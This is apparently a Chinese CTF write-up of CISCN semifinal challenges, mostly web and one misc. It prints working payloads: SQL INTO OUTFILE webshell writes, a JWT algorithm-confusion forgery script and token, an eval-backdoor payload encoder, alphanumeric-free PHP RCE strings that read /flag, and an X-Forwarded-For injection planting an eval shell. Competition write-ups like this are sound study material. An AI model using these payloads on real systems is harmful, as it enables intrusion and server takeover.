CISCN 复赛(华南赛区)部分wp
系统成了万人骑
扫出manager
,进入后发现是后台,验证码不会刷新,可以爆破,账号密码
username:admin
password:admin
在工具->SQL高级助手里面可执行SQL语句,尝试写shell
select 1,2 union select 1,'<?php system("cat /flag");' into outfile '../../www/html/uploads/litimg/lz2y.php'
得到flag
我让你加密
注册一个账号,登录
可以注意到cookie是jwt
由于是RSA不可逆加密,所以直接爆破secret是不可能的,然后需要考虑将他转为HS256D对称加密,当时也没想到那个证书有啥用,直接转成HS256D了...现在才知道需要用证书来伪造
首先导出公钥
openssl x509 -in https_cert.crt -noout -pubkey > public.pem
然后用脚本生成cookie
import jwt
import datetime
dic = {
'exp': datetime.datetime.now() + datetime.timedelta(days=1),
'iat': datetime.datetime.now(),
'name': 'admin',
}
public = open('public.pem', 'r').read()
print public
s = jwt.encode(dic, key=public, algorithm='HS256')
print(s)
s = jwt.decode(s, key=public, algorithms=['HS256'])
print(s)
print(type(s))
注意该脚本需要注释掉一些jwt包里面代码.要不然会报错
得到cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2MDA4OTQ5MjgsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTYwMDk4MTMyOH0.s82ao2N1DF1b2JJ89jU3ipSQrH54IQktRBZo5NEevf0
替换cookie可进入另一个页面
源码如下:
<?php
// PxParis maintenance shell, version 1.0.0
// Use this only in emergency situations!
require_once '../__config.php';
require_once '../__jwt_wrapper.php';
// --- sanity check
$name = jwt_verify();
if($name === false) {
header('Refresh: 0; url=/login.php');
die('Please login');
}
// --- DB operations
$sql = new SQLite3($USER_DB, SQLITE3_OPEN_READONLY);
$stmt = $sql->prepare('SELECT admin FROM users WHERE name = (?) LIMIT 1');
$stmt->bindValue(1, $name);
$result_obj = $stmt->execute();
$result = $result_obj->fetchArray();
if(!$result) {
http_response_code(400);
header('Refresh: 0; url=/');
$result_obj->finalize();
$sql->close();
die('User does not exist (should not happen)');
}
// ---
$result_obj->finalize();
$sql->close();
if($result['admin']) {
if(isset($_REQUEST['pxparis'])) {
eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));
} else {
//highlight_file(__FILE__);
highlight_string(file_get_contents(__FILE__));
}
} else {
header('Refresh: 2; url=/');
die('Only admin can view this page');
}
可以发现eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));
可以执行shell
生成payload如下
<?php
$str = 'phpinfo();';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
$lz2y = base64_encode($enc);
echo $lz2y . "<br>";
echo (zlib_decode(base64_decode($lz2y)));
?>
/**
eJwryCjIzEvL19C0BgAVxAOB
phpinfo();
**/
BreakThrough
显示源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$check=$_GET['check'];//本行代码勿删,否则影响加固环节成绩
echo "<!--".$check."-->"; //本行代码勿删,否则影响加固环节成绩
if(isset($_GET['rce'])) {
$rce = $_GET['rce'];
if (preg_match("/[A-Za-z0-9$]+/",$rce)) {
die("error1");
}
if (preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)) {
die("error2");
}
eval($rce);
}
?>
我们需要执行eval($rce)
,前面有挺多限制,首先是[A-Za-z0-9$]+
,应该考的是__无数字和字母的webshell__,然后这应该是他的升级版,过滤了$
,然后继续往下看,发现过滤了一堆
preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)
异或非且,发现或没有被过滤,而且发现他居然过滤的是中文的(
和)
,空格也是没有转义,相当于没有过滤
应该是可以通过或
操作将没有过滤的字符构造出我们想要的字母,写个脚本
<?php
$shell = "phpinfo";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=0;$x<=125;$x++)
{
if(judge(chr($x)))
{
for($y=0;$y<=125;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)|chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo 'GET: '.'\'' . urlencode($result1) . '"|' . '"' .urlencode($result2) .'"<br>';
var_dump(chr(255));
function judge($c)
{
if(!preg_match('/[a-z0-9]|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"|\ |\:|\,/is',$c))
{
return true;
}
return false;
}
/**
GET: '%10%08%10%09%0E%06%0F'|'%60%60%60%60%60%60%60'
**/
传参
?rce=(%27%10%08%10%09%0E%06%0F%27|%27%60%60%60%60%60%60%60%27)();
当时比赛就此搞不动了,之前见过一篇文章貌似可以用,但是没保存也不让上网查看资料,只能就罢
等等!!!我好像,在本地复现的时候发现可以直接
system(whoami);
/**
?rce=(%27%13%19%13%14%05%0D%27|%27%60%60%60%60%60%60%27)(%27%17%08%0F%01%0D%09%27|%27%60%60%60%60%60%60%27);
**/
直接执行系统命令???
当时队友跟我说这么搞,我还说php7特性这么操作是不行的...但也试了一下,比赛的时候死活不成功,当时赛题是开启了短标签的,当时测试过
?><? `whoami`?>
以为相当于<?php echo(shell_exec("whoami"));
也没成功,现在发现需要
?><?= `whoami`?>
也在本地复现成功了...由于得不到当时的环境也不敢说啥
好吧,查看了wp,确实是可以这么搞的,中间的命令为字符串可以直接用.
拼接
?rce=(%27``````%27|%27%13%19%13%14%05%0d%27)((%27```%27|%27%03%01%14%27).(%27%09/%27).(%27````%28%27|%27%06%0c%01%07%02%27));
/*
system(cat /flag*);
*/
错过了一个亿?
so easy
smarty模板注入,先咕了,还没学过
系统成了千人骑
听说和万人骑差不多,弱密码进入后台,可以SQL写shell,但是现在也复现不了了,环境没拉下来,做题的时候自己把自己网站搞崩了,后来后台,phpmyadmin也进不去了,不愧是我
换了个IP
这题啊...我们看看源码吧...看下神奇的操作
if(isset($_POST['username']) && isset($_POST['password'])){
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$salt ='Satan1a';
$username=$_POST['username'];
$passwd=$_POST['password'];
$changename=md5($username.$salt);
$changepasswd=md5($passwd.$salt);
$sql="SELECT * FROM users where username = '".$changename."' and password = '".$changepasswd."'";
$result=$mysqli->query($sql);
if ($result) {
$row=$result->fetch_array();
}else{
echo '查询出错!';
}
$auth=($row['username']);
if($auth===NULL){
echo "<script>alert('用户名或者密码错误');history.go(-1);</script>";
}
else{
$sql = "insert into login_ip (datetime,ip, username) values ('".date("Y-m-d h:i:s")."','".$ip."', '".$username."');";
$mysqli->query($sql);
$_SESSION["username"] = $username;
echo "<script>alert('登录成功!');self.location='admin.php?action=welcome'; </script>";
exit;
}
}else{
include("templates/login.html");
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$sql="select username from login_ip where ip='$ip'";
$result=$mysqli->query($sql);
if ($result) {
$row=$result->fetch_array();
}else{
echo '查询出错!';
}
if ($row) {
//
}else{
echo "<br><h3 align='center'>您正在新机器上登录系统,请检查登录环境是否安全</h3><br>";
}
}
???当时我测试过XFF
伪造IP,然后SQL注入...但是谁能想到他需要没有username
和password
才能进入这个else循环啊...有亿点点脑洞
在header头里添加x-forwarded-for字段进行注入
x-forwarded-for:1' union select '<?php eval("cmd");?>' into outfile "/var/www/html/lz2y.php"
you can get flag easily
下载文件,压缩包里面的文件名就是
hidden_secret
拿到题目,是一个没有后缀名的文件
拿去kali用file看一下,是一个zip
然后把后缀名改一下,改成zip
然后解压 看到一个图片和一个压缩包
然后打开压缩包,发现有加密的两个文件
然后观察一下,加密的文件里面也有hahah.jpg,而且crc校验值一样
可以想到明文攻击
准备好两个压缩包,拿去ARCHPR,明文攻击一波
顺利拿到压缩包密码
pb-1`;ks
然后解压了,看到一个gif,是key.gif
一帧一帧看一下,发现一个二维码
然后识别一下,得到flag
flag{ni_chou_sha}
但是提交发现flag不对,真的服了,错的flag也不直接说...
其实是gif隐写,用stegsolve分析图像信息,可以发现这个gif动图的间隔时间分为10和20两种,考虑gif时间隐写。
将所有间隔时间分离出来:magick identify -format "%T" key.gif >out.txt
得到:1020201020201020102010101020101010102020102010201020102020202020102020101020201010202020101020201020202010201010
将10转化为1,20转换为1,得到二进制串:01101101010001000011010101011111011001100111001101110100
转为字符串:mD5_fst
md5加密: 046cb65e60a4774c76b4f99371e66f0d
根据题目提示ntfs,查看文件夹隐藏文件,在hidden_secret文件夹中发现隐藏文件flag.rar,提取出来,是加密文件夹,用上面得到的md5值作为密码解压压缩包,得到flag.txt,打开得到flag
Misc是队友写的,我也没去复现了